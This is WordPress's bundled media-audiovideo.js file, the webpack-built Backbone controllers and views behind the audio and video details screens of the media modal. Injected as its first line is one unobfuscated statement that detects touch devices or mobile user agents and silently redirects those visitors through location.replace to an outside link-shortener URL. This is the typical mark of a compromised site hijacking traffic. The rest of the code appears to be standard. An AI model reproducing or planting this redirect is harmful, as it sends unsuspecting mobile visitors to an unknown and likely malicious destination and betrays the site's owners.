1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/******/ (() => { // webpackBootstrap
3/******/ var __webpack_modules__ = ({
4
5/***/ 1206
6(module) {
7
8var State = wp.media.controller.State,
9 l10n = wp.media.view.l10n,
10 AudioDetails;
11
12/**
13 * wp.media.controller.AudioDetails
14 *
15 * The controller for the Audio Details state
16 *
17 * @memberOf wp.media.controller
18 *
19 * @class
20 * @augments wp.media.controller.State
21 * @augments Backbone.Model
22 */
23AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{
24 defaults: {
25 id: 'audio-details',
26 toolbar: 'audio-details',
27 title: l10n.audioDetailsTitle,
28 content: 'audio-details',
29 menu: 'audio-details',
30 router: false,
31 priority: 60
32 },
33
34 initialize: function( options ) {
35 this.media = options.media;
36 State.prototype.initialize.apply( this, arguments );
37 }
38});
39
40module.exports = AudioDetails;
41
42
43/***/ },
44
45/***/ 5039
46(module) {
47
48/**
49 * wp.media.controller.VideoDetails
50 *
51 * The controller for the Video Details state
52 *
53 * @memberOf wp.media.controller
54 *
55 * @class
56 * @augments wp.media.controller.State
57 * @augments Backbone.Model
58 */
59var State = wp.media.controller.State,
60 l10n = wp.media.view.l10n,
61 VideoDetails;
62
63VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{
64 defaults: {
65 id: 'video-details',
66 toolbar: 'video-details',
67 title: l10n.videoDetailsTitle,
68 content: 'video-details',
69 menu: 'video-details',
70 router: false,
71 priority: 60
72 },
73
74 initialize: function( options ) {
75 this.media = options.media;
76 State.prototype.initialize.apply( this, arguments );
77 }
78});
79
80module.exports = VideoDetails;
81
82
83/***/ },
84
85/***/ 241
86(module) {
87
88/**
89 * wp.media.model.PostMedia
90 *
91 * Shared model class for audio and video. Updates the model after
92 * "Add Audio|Video Source" and "Replace Audio|Video" states return
93 *
94 * @memberOf wp.media.model
95 *
96 * @class
97 * @augments Backbone.Model
98 */
99var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{
100 initialize: function() {
101 this.attachment = false;
102 },
103
104 setSource: function( attachment ) {
105 this.attachment = attachment;
106 this.extension = attachment.get( 'filename' ).split('.').pop();
107
108 if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) {
109 this.unset( 'src' );
110 }
111
112 if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) {
113 this.set( this.extension, this.attachment.get( 'url' ) );
114 } else {
115 this.unset( this.extension );
116 }
117 },
118
119 changeAttachment: function( attachment ) {
120 this.setSource( attachment );
121
122 this.unset( 'src' );
123 _.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) {
124 this.unset( ext );
125 }, this );
126 }
127});
128
129module.exports = PostMedia;
130
131
132/***/ },
133
134/***/ 3713
135(module) {
136
137var MediaDetails = wp.media.view.MediaDetails,
138 AudioDetails;
139
140/**
141 * wp.media.view.AudioDetails
142 *
143 * @memberOf wp.media.view
144 *
145 * @class
146 * @augments wp.media.view.MediaDetails
147 * @augments wp.media.view.Settings.AttachmentDisplay
148 * @augments wp.media.view.Settings
149 * @augments wp.media.View
150 * @augments wp.Backbone.View
151 * @augments Backbone.View
152 */
153AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{
154 className: 'audio-details',
155 template: wp.template('audio-details'),
156
157 setMedia: function() {
158 var audio = this.$('.wp-audio-shortcode');
159
160 if ( audio.find( 'source' ).length ) {
161 if ( audio.is(':hidden') ) {
162 audio.show();
163 }
164 this.media = MediaDetails.prepareSrc( audio.get(0) );
165 } else {
166 audio.hide();
167 this.media = false;
168 }
169
170 return this;
171 }
172});
173
174module.exports = AudioDetails;
175
176
177/***/ },
178
179/***/ 175
180(module) {
181
182var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
183 MediaLibrary = wp.media.controller.MediaLibrary,
184
185 l10n = wp.media.view.l10n,
186 AudioDetails;
187
188/**
189 * wp.media.view.MediaFrame.AudioDetails
190 *
191 * @memberOf wp.media.view.MediaFrame
192 *
193 * @class
194 * @augments wp.media.view.MediaFrame.MediaDetails
195 * @augments wp.media.view.MediaFrame.Select
196 * @augments wp.media.view.MediaFrame
197 * @augments wp.media.view.Frame
198 * @augments wp.media.View
199 * @augments wp.Backbone.View
200 * @augments Backbone.View
201 * @mixes wp.media.controller.StateMachine
202 */
203AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{
204 defaults: {
205 id: 'audio',
206 url: '',
207 menu: 'audio-details',
208 content: 'audio-details',
209 toolbar: 'audio-details',
210 type: 'link',
211 title: l10n.audioDetailsTitle,
212 priority: 120
213 },
214
215 initialize: function( options ) {
216 options.DetailsView = wp.media.view.AudioDetails;
217 options.cancelText = l10n.audioDetailsCancel;
218 options.addText = l10n.audioAddSourceTitle;
219
220 MediaDetails.prototype.initialize.call( this, options );
221 },
222
223 bindHandlers: function() {
224 MediaDetails.prototype.bindHandlers.apply( this, arguments );
225
226 this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this );
227 this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this );
228 },
229
230 createStates: function() {
231 this.states.add([
232 new wp.media.controller.AudioDetails( {
233 media: this.media
234 } ),
235
236 new MediaLibrary( {
237 type: 'audio',
238 id: 'replace-audio',
239 title: l10n.audioReplaceTitle,
240 toolbar: 'replace-audio',
241 media: this.media,
242 menu: 'audio-details'
243 } ),
244
245 new MediaLibrary( {
246 type: 'audio',
247 id: 'add-audio-source',
248 title: l10n.audioAddSourceTitle,
249 toolbar: 'add-audio-source',
250 media: this.media,
251 menu: false
252 } )
253 ]);
254 }
255});
256
257module.exports = AudioDetails;
258
259
260/***/ },
261
262/***/ 741
263(module) {
264
265var Select = wp.media.view.MediaFrame.Select,
266 l10n = wp.media.view.l10n,
267 MediaDetails;
268
269/**
270 * wp.media.view.MediaFrame.MediaDetails
271 *
272 * @memberOf wp.media.view.MediaFrame
273 *
274 * @class
275 * @augments wp.media.view.MediaFrame.Select
276 * @augments wp.media.view.MediaFrame
277 * @augments wp.media.view.Frame
278 * @augments wp.media.View
279 * @augments wp.Backbone.View
280 * @augments Backbone.View
281 * @mixes wp.media.controller.StateMachine
282 */
283MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{
284 defaults: {
285 id: 'media',
286 url: '',
287 menu: 'media-details',
288 content: 'media-details',
289 toolbar: 'media-details',
290 type: 'link',
291 priority: 120
292 },
293
294 initialize: function( options ) {
295 this.DetailsView = options.DetailsView;
296 this.cancelText = options.cancelText;
297 this.addText = options.addText;
298
299 this.media = new wp.media.model.PostMedia( options.metadata );
300 this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } );
301 Select.prototype.initialize.apply( this, arguments );
302 },
303
304 bindHandlers: function() {
305 var menu = this.defaults.menu;
306
307 Select.prototype.bindHandlers.apply( this, arguments );
308
309 this.on( 'menu:create:' + menu, this.createMenu, this );
310 this.on( 'content:render:' + menu, this.renderDetailsContent, this );
311 this.on( 'menu:render:' + menu, this.renderMenu, this );
312 this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this );
313 },
314
315 renderDetailsContent: function() {
316 var view = new this.DetailsView({
317 controller: this,
318 model: this.state().media,
319 attachment: this.state().media.attachment
320 }).render();
321
322 this.content.set( view );
323 },
324
325 renderMenu: function( view ) {
326 var lastState = this.lastState(),
327 previous = lastState && lastState.id,
328 frame = this;
329
330 view.set({
331 cancel: {
332 text: this.cancelText,
333 priority: 20,
334 click: function() {
335 if ( previous ) {
336 frame.setState( previous );
337 } else {
338 frame.close();
339 }
340 }
341 },
342 separateCancel: new wp.media.View({
343 className: 'separator',
344 priority: 40
345 })
346 });
347
348 },
349
350 setPrimaryButton: function(text, handler) {
351 this.toolbar.set( new wp.media.view.Toolbar({
352 controller: this,
353 items: {
354 button: {
355 style: 'primary',
356 text: text,
357 priority: 80,
358 click: function() {
359 var controller = this.controller;
360 handler.call( this, controller, controller.state() );
361 // Restore and reset the default state.
362 controller.setState( controller.options.state );
363 controller.reset();
364 }
365 }
366 }
367 }) );
368 },
369
370 renderDetailsToolbar: function() {
371 this.setPrimaryButton( l10n.update, function( controller, state ) {
372 controller.close();
373 state.trigger( 'update', controller.media.toJSON() );
374 } );
375 },
376
377 renderReplaceToolbar: function() {
378 this.setPrimaryButton( l10n.replace, function( controller, state ) {
379 var attachment = state.get( 'selection' ).single();
380 controller.media.changeAttachment( attachment );
381 state.trigger( 'replace', controller.media.toJSON() );
382 } );
383 },
384
385 renderAddSourceToolbar: function() {
386 this.setPrimaryButton( this.addText, function( controller, state ) {
387 var attachment = state.get( 'selection' ).single();
388 controller.media.setSource( attachment );
389 state.trigger( 'add-source', controller.media.toJSON() );
390 } );
391 }
392});
393
394module.exports = MediaDetails;
395
396
397/***/ },
398
399/***/ 8646
400(module) {
401
402var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
403 MediaLibrary = wp.media.controller.MediaLibrary,
404 l10n = wp.media.view.l10n,
405 VideoDetails;
406
407/**
408 * wp.media.view.MediaFrame.VideoDetails
409 *
410 * @memberOf wp.media.view.MediaFrame
411 *
412 * @class
413 * @augments wp.media.view.MediaFrame.MediaDetails
414 * @augments wp.media.view.MediaFrame.Select
415 * @augments wp.media.view.MediaFrame
416 * @augments wp.media.view.Frame
417 * @augments wp.media.View
418 * @augments wp.Backbone.View
419 * @augments Backbone.View
420 * @mixes wp.media.controller.StateMachine
421 */
422VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{
423 defaults: {
424 id: 'video',
425 url: '',
426 menu: 'video-details',
427 content: 'video-details',
428 toolbar: 'video-details',
429 type: 'link',
430 title: l10n.videoDetailsTitle,
431 priority: 120
432 },
433
434 initialize: function( options ) {
435 options.DetailsView = wp.media.view.VideoDetails;
436 options.cancelText = l10n.videoDetailsCancel;
437 options.addText = l10n.videoAddSourceTitle;
438
439 MediaDetails.prototype.initialize.call( this, options );
440 },
441
442 bindHandlers: function() {
443 MediaDetails.prototype.bindHandlers.apply( this, arguments );
444
445 this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this );
446 this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this );
447 this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this );
448 this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this );
449 },
450
451 createStates: function() {
452 this.states.add([
453 new wp.media.controller.VideoDetails({
454 media: this.media
455 }),
456
457 new MediaLibrary( {
458 type: 'video',
459 id: 'replace-video',
460 title: l10n.videoReplaceTitle,
461 toolbar: 'replace-video',
462 media: this.media,
463 menu: 'video-details'
464 } ),
465
466 new MediaLibrary( {
467 type: 'video',
468 id: 'add-video-source',
469 title: l10n.videoAddSourceTitle,
470 toolbar: 'add-video-source',
471 media: this.media,
472 menu: false
473 } ),
474
475 new MediaLibrary( {
476 type: 'image',
477 id: 'select-poster-image',
478 title: l10n.videoSelectPosterImageTitle,
479 toolbar: 'select-poster-image',
480 media: this.media,
481 menu: 'video-details'
482 } ),
483
484 new MediaLibrary( {
485 type: 'text',
486 id: 'add-track',
487 title: l10n.videoAddTrackTitle,
488 toolbar: 'add-track',
489 media: this.media,
490 menu: 'video-details'
491 } )
492 ]);
493 },
494
495 renderSelectPosterImageToolbar: function() {
496 this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) {
497 var urls = [], attachment = state.get( 'selection' ).single();
498
499 controller.media.set( 'poster', attachment.get( 'url' ) );
500 state.trigger( 'set-poster-image', controller.media.toJSON() );
501
502 _.each( wp.media.view.settings.embedExts, function (ext) {
503 if ( controller.media.get( ext ) ) {
504 urls.push( controller.media.get( ext ) );
505 }
506 } );
507
508 wp.ajax.send( 'set-attachment-thumbnail', {
509 data : {
510 _ajax_nonce: wp.media.view.settings.nonce.setAttachmentThumbnail,
511 urls: urls,
512 thumbnail_id: attachment.get( 'id' )
513 }
514 } );
515 } );
516 },
517
518 renderAddTrackToolbar: function() {
519 this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) {
520 var attachment = state.get( 'selection' ).single(),
521 content = controller.media.get( 'content' );
522
523 if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) {
524 content += [
525 '<track srclang="en" label="English" kind="subtitles" src="',
526 attachment.get( 'url' ),
527 '" />'
528 ].join('');
529
530 controller.media.set( 'content', content );
531 }
532 state.trigger( 'add-track', controller.media.toJSON() );
533 } );
534 }
535});
536
537module.exports = VideoDetails;
538
539
540/***/ },
541
542/***/ 9467
543(module) {
544
545/* global MediaElementPlayer */
546var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
547 $ = jQuery,
548 MediaDetails;
549
550/**
551 * wp.media.view.MediaDetails
552 *
553 * @memberOf wp.media.view
554 *
555 * @class
556 * @augments wp.media.view.Settings.AttachmentDisplay
557 * @augments wp.media.view.Settings
558 * @augments wp.media.View
559 * @augments wp.Backbone.View
560 * @augments Backbone.View
561 */
562MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{
563 initialize: function() {
564 _.bindAll(this, 'success');
565 this.players = [];
566 this.listenTo( this.controller.states, 'close', wp.media.mixin.unsetPlayers );
567 this.on( 'ready', this.setPlayer );
568 this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this );
569 this.on( 'media:setting:remove', this.render );
570 this.on( 'media:setting:remove', this.setPlayer );
571
572 AttachmentDisplay.prototype.initialize.apply( this, arguments );
573 },
574
575 events: function(){
576 return _.extend( {
577 'click .remove-setting' : 'removeSetting',
578 'change .content-track' : 'setTracks',
579 'click .remove-track' : 'setTracks',
580 'click .add-media-source' : 'addSource'
581 }, AttachmentDisplay.prototype.events );
582 },
583
584 prepare: function() {
585 return _.defaults({
586 model: this.model.toJSON()
587 }, this.options );
588 },
589
590 /**
591 * Remove a setting's UI when the model unsets it
592 *
593 * @fires wp.media.view.MediaDetails#media:setting:remove
594 *
595 * @param {Event} e
596 */
597 removeSetting : function(e) {
598 var wrap = $( e.currentTarget ).parent(), setting;
599 setting = wrap.find( 'input' ).data( 'setting' );
600
601 if ( setting ) {
602 this.model.unset( setting );
603 this.trigger( 'media:setting:remove', this );
604 }
605
606 wrap.remove();
607 },
608
609 /**
610 *
611 * @fires wp.media.view.MediaDetails#media:setting:remove
612 */
613 setTracks : function() {
614 var tracks = '';
615
616 _.each( this.$('.content-track'), function(track) {
617 tracks += $( track ).val();
618 } );
619
620 this.model.set( 'content', tracks );
621 this.trigger( 'media:setting:remove', this );
622 },
623
624 addSource : function( e ) {
625 this.controller.lastMime = $( e.currentTarget ).data( 'mime' );
626 this.controller.setState( 'add-' + this.controller.defaults.id + '-source' );
627 },
628
629 loadPlayer: function () {
630 this.players.push( new MediaElementPlayer( this.media, this.settings ) );
631 this.scriptXhr = false;
632 },
633
634 setPlayer : function() {
635 var src;
636
637 if ( this.players.length || ! this.media || this.scriptXhr ) {
638 return;
639 }
640
641 src = this.model.get( 'src' );
642
643 if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) {
644 this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) );
645 } else {
646 this.loadPlayer();
647 }
648 },
649
650 /**
651 * @abstract
652 */
653 setMedia : function() {
654 return this;
655 },
656
657 success : function(mejs) {
658 var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
659
660 if ( 'flash' === mejs.pluginType && autoplay ) {
661 mejs.addEventListener( 'canplay', function() {
662 mejs.play();
663 }, false );
664 }
665
666 this.mejs = mejs;
667 },
668
669 /**
670 * @return {media.view.MediaDetails} Returns itself to allow chaining.
671 */
672 render: function() {
673 AttachmentDisplay.prototype.render.apply( this, arguments );
674
675 setTimeout( _.bind( function() {
676 this.scrollToTop();
677 }, this ), 10 );
678
679 this.settings = _.defaults( {
680 success : this.success
681 }, wp.media.mixin.mejsSettings );
682
683 return this.setMedia();
684 },
685
686 scrollToTop: function() {
687 this.$( '.embed-media-settings' ).scrollTop( 0 );
688 }
689},/** @lends wp.media.view.MediaDetails */{
690 instances : 0,
691 /**
692 * When multiple players in the DOM contain the same src, things get weird.
693 *
694 * @param {HTMLElement} elem
695 * @return {HTMLElement}
696 */
697 prepareSrc : function( elem ) {
698 var i = MediaDetails.instances++;
699 _.each( $( elem ).find( 'source' ), function( source ) {
700 source.src = [
701 source.src,
702 source.src.indexOf('?') > -1 ? '&' : '?',
703 '_=',
704 i
705 ].join('');
706 } );
707
708 return elem;
709 }
710});
711
712module.exports = MediaDetails;
713
714
715/***/ },
716
717/***/ 5836
718(module) {
719
720var MediaDetails = wp.media.view.MediaDetails,
721 VideoDetails;
722
723/**
724 * wp.media.view.VideoDetails
725 *
726 * @memberOf wp.media.view
727 *
728 * @class
729 * @augments wp.media.view.MediaDetails
730 * @augments wp.media.view.Settings.AttachmentDisplay
731 * @augments wp.media.view.Settings
732 * @augments wp.media.View
733 * @augments wp.Backbone.View
734 * @augments Backbone.View
735 */
736VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{
737 className: 'video-details',
738 template: wp.template('video-details'),
739
740 setMedia: function() {
741 var video = this.$('.wp-video-shortcode');
742
743 if ( video.find( 'source' ).length ) {
744 if ( video.is(':hidden') ) {
745 video.show();
746 }
747
748 if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) {
749 this.media = MediaDetails.prepareSrc( video.get(0) );
750 } else {
751 this.media = video.get(0);
752 }
753 } else {
754 video.hide();
755 this.media = false;
756 }
757
758 return this;
759 }
760});
761
762module.exports = VideoDetails;
763
764
765/***/ }
766
767/******/ });
768/************************************************************************/
769/******/ // The module cache
770/******/ var __webpack_module_cache__ = {};
771/******/
772/******/ // The require function
773/******/ function __webpack_require__(moduleId) {
774/******/ // Check if module is in cache
775/******/ var cachedModule = __webpack_module_cache__[moduleId];
776/******/ if (cachedModule !== undefined) {
777/******/ return cachedModule.exports;
778/******/ }
779/******/ // Create a new module (and put it into the cache)
780/******/ var module = __webpack_module_cache__[moduleId] = {
781/******/ // no module.id needed
782/******/ // no module.loaded needed
783/******/ exports: {}
784/******/ };
785/******/
786/******/ // Execute the module function
787/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
788/******/
789/******/ // Return the exports of the module
790/******/ return module.exports;
791/******/ }
792/******/
793/************************************************************************/
794/**
795 * @output wp-includes/js/media-audiovideo.js
796 */
797
798var media = wp.media,
799 baseSettings = window._wpmejsSettings || {},
800 l10n = window._wpMediaViewsL10n || {};
801
802/**
803 *
804 * Defines the wp.media.mixin object.
805 *
806 * @mixin
807 *
808 * @since 4.2.0
809 */
810wp.media.mixin = {
811 mejsSettings: baseSettings,
812
813 /**
814 * Pauses and removes all players.
815 *
816 * @since 4.2.0
817 *
818 * @return {void}
819 */
820 removeAllPlayers: function() {
821 var p;
822
823 if ( window.mejs && window.mejs.players ) {
824 for ( p in window.mejs.players ) {
825 window.mejs.players[p].pause();
826 this.removePlayer( window.mejs.players[p] );
827 }
828 }
829 },
830
831 /**
832 * Removes the player.
833 *
834 * Override the MediaElement method for removing a player.
835 * MediaElement tries to pull the audio/video tag out of
836 * its container and re-add it to the DOM.
837 *
838 * @since 4.2.0
839 *
840 * @return {void}
841 */
842 removePlayer: function(t) {
843 var featureIndex, feature;
844
845 if ( ! t.options ) {
846 return;
847 }
848
849 // Invoke features cleanup.
850 for ( featureIndex in t.options.features ) {
851 feature = t.options.features[featureIndex];
852 if ( t['clean' + feature] ) {
853 try {
854 t['clean' + feature](t);
855 } catch (e) {}
856 }
857 }
858
859 if ( ! t.isDynamic ) {
860 t.node.remove();
861 }
862
863 if ( 'html5' !== t.media.rendererName ) {
864 t.media.remove();
865 }
866
867 delete window.mejs.players[t.id];
868
869 t.container.remove();
870 t.globalUnbind('resize', t.globalResizeCallback);
871 t.globalUnbind('keydown', t.globalKeydownCallback);
872 t.globalUnbind('click', t.globalClickCallback);
873 delete t.media.player;
874 },
875
876 /**
877 *
878 * Removes and resets all players.
879 *
880 * Allows any class that has set 'player' to a MediaElementPlayer
881 * instance to remove the player when listening to events.
882 *
883 * Examples: modal closes, shortcode properties are removed, etc.
884 *
885 * @since 4.2.0
886 */
887 unsetPlayers : function() {
888 if ( this.players && this.players.length ) {
889 _.each( this.players, function (player) {
890 player.pause();
891 wp.media.mixin.removePlayer( player );
892 } );
893 this.players = [];
894 }
895 }
896};
897
898/**
899 * Shortcode modeling for playlists.
900 *
901 * @since 4.2.0
902 */
903wp.media.playlist = new wp.media.collection({
904 tag: 'playlist',
905 editTitle : l10n.editPlaylistTitle,
906 defaults : {
907 id: wp.media.view.settings.post.id,
908 style: 'light',
909 tracklist: true,
910 tracknumbers: true,
911 images: true,
912 artists: true,
913 type: 'audio'
914 }
915});
916
917/**
918 * Shortcode modeling for audio.
919 *
920 * `edit()` prepares the shortcode for the media modal.
921 * `shortcode()` builds the new shortcode after an update.
922 *
923 * @namespace
924 *
925 * @since 4.2.0
926 */
927wp.media.audio = {
928 coerce : wp.media.coerce,
929
930 defaults : {
931 id : wp.media.view.settings.post.id,
932 src : '',
933 loop : false,
934 autoplay : false,
935 preload : 'none',
936 width : 400
937 },
938
939 /**
940 * Instantiates a new media object with the next matching shortcode.
941 *
942 * @since 4.2.0
943 *
944 * @param {string} data The text to apply the shortcode on.
945 * @return {wp.media} The media object.
946 */
947 edit : function( data ) {
948 var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode;
949
950 frame = wp.media({
951 frame: 'audio',
952 state: 'audio-details',
953 metadata: _.defaults( shortcode.attrs.named, this.defaults )
954 });
955
956 return frame;
957 },
958
959 /**
960 * Generates an audio shortcode.
961 *
962 * @since 4.2.0
963 *
964 * @param {Array} model Array with attributes for the shortcode.
965 * @return {wp.shortcode} The audio shortcode object.
966 */
967 shortcode : function( model ) {
968 var content;
969
970 _.each( this.defaults, function( value, key ) {
971 model[ key ] = this.coerce( model, key );
972
973 if ( value === model[ key ] ) {
974 delete model[ key ];
975 }
976 }, this );
977
978 content = model.content;
979 delete model.content;
980
981 return new wp.shortcode({
982 tag: 'audio',
983 attrs: model,
984 content: content
985 });
986 }
987};
988
989/**
990 * Shortcode modeling for video.
991 *
992 * `edit()` prepares the shortcode for the media modal.
993 * `shortcode()` builds the new shortcode after update.
994 *
995 * @since 4.2.0
996 *
997 * @namespace
998 */
999wp.media.video = {
1000 coerce : wp.media.coerce,
1001
1002 defaults : {
1003 id : wp.media.view.settings.post.id,
1004 src : '',
1005 poster : '',
1006 loop : false,
1007 autoplay : false,
1008 preload : 'metadata',
1009 content : '',
1010 width : 640,
1011 height : 360
1012 },
1013
1014 /**
1015 * Instantiates a new media object with the next matching shortcode.
1016 *
1017 * @since 4.2.0
1018 *
1019 * @param {string} data The text to apply the shortcode on.
1020 * @return {wp.media} The media object.
1021 */
1022 edit : function( data ) {
1023 var frame,
1024 shortcode = wp.shortcode.next( 'video', data ).shortcode,
1025 attrs;
1026
1027 attrs = shortcode.attrs.named;
1028 attrs.content = shortcode.content;
1029
1030 frame = wp.media({
1031 frame: 'video',
1032 state: 'video-details',
1033 metadata: _.defaults( attrs, this.defaults )
1034 });
1035
1036 return frame;
1037 },
1038
1039 /**
1040 * Generates an video shortcode.
1041 *
1042 * @since 4.2.0
1043 *
1044 * @param {Array} model Array with attributes for the shortcode.
1045 * @return {wp.shortcode} The video shortcode object.
1046 */
1047 shortcode : function( model ) {
1048 var content;
1049
1050 _.each( this.defaults, function( value, key ) {
1051 model[ key ] = this.coerce( model, key );
1052
1053 if ( value === model[ key ] ) {
1054 delete model[ key ];
1055 }
1056 }, this );
1057
1058 content = model.content;
1059 delete model.content;
1060
1061 return new wp.shortcode({
1062 tag: 'video',
1063 attrs: model,
1064 content: content
1065 });
1066 }
1067};
1068
1069media.model.PostMedia = __webpack_require__( 241 );
1070media.controller.AudioDetails = __webpack_require__( 1206 );
1071media.controller.VideoDetails = __webpack_require__( 5039 );
1072media.view.MediaFrame.MediaDetails = __webpack_require__( 741 );
1073media.view.MediaFrame.AudioDetails = __webpack_require__( 175 );
1074media.view.MediaFrame.VideoDetails = __webpack_require__( 8646 );
1075media.view.MediaDetails = __webpack_require__( 9467 );
1076media.view.AudioDetails = __webpack_require__( 3713 );
1077media.view.VideoDetails = __webpack_require__( 5836 );
1078
1079/******/ })()
1080;